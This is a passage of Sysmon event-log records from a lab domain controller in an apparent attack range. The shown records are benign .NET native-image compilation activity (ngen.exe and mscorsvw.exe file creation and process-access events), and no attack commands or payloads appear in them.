C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\d0c-0\\System.ServiceModel.Web.dll\r\nCreationUtcTime: 2020-08-07 12:03:21.338","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:21.338","ProcessGuid":"{90617006-4307-5F2D-0000-001080750F00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\d0c-0\\System.ServiceModel.Web.dll","CreationUtcTime":"2020-08-07 12:03:21.338","EventReceivedTime":"2020-08-07 12:03:23","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7890,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:21.432\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4309-5F2D-0000-0010D77D0F00}\r\nTargetProcessId: 4632\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:21.432","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4309-5F2D-0000-0010D77D0F00}","TargetProcessId":"4632","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:23","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7891,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:21.432\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4309-5F2D-0000-0010D77D0F00}\r\nTargetProcessId: 4632\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:21.432","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4309-5F2D-0000-0010D77D0F00}","TargetProcessId":"4632","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:23","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7892,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:21.432\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4309-5F2D-0000-0010D77D0F00}\r\nTargetProcessId: 4632\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:21.432","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4309-5F2D-0000-0010D77D0F00}","TargetProcessId":"4632","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:23","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7893,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:21.572\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42F8-5F2D-0000-001091CD0E00}\r\nTargetProcessId: 3768\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:21.572","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42F8-5F2D-0000-001091CD0E00}","TargetProcessId":"3768","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:23","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7894,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:21.572\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42F8-5F2D-0000-001091CD0E00}\r\nTargetProcessId: 3768\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:21.572","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42F8-5F2D-0000-001091CD0E00}","TargetProcessId":"3768","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:23","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7895,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:21.572\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42F8-5F2D-0000-001091CD0E00}\r\nTargetProcessId: 3768\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:21.572","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42F8-5F2D-0000-001091CD0E00}","TargetProcessId":"3768","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:23","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7896,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:22.822\r\nProcessGuid: {90617006-4309-5F2D-0000-001042810F00}\r\nProcessId: 3768\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\eb8-0\\System.Speech.dll\r\nCreationUtcTime: 2020-08-07 12:03:22.822","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:22.822","ProcessGuid":"{90617006-4309-5F2D-0000-001042810F00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\eb8-0\\System.Speech.dll","CreationUtcTime":"2020-08-07 12:03:22.822","EventReceivedTime":"2020-08-07 12:03:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7897,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:22.916\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42DE-5F2D-0000-00107C0D0E00}\r\nTargetProcessId: 872\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:22.916","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42DE-5F2D-0000-00107C0D0E00}","TargetProcessId":"872","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7898,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: 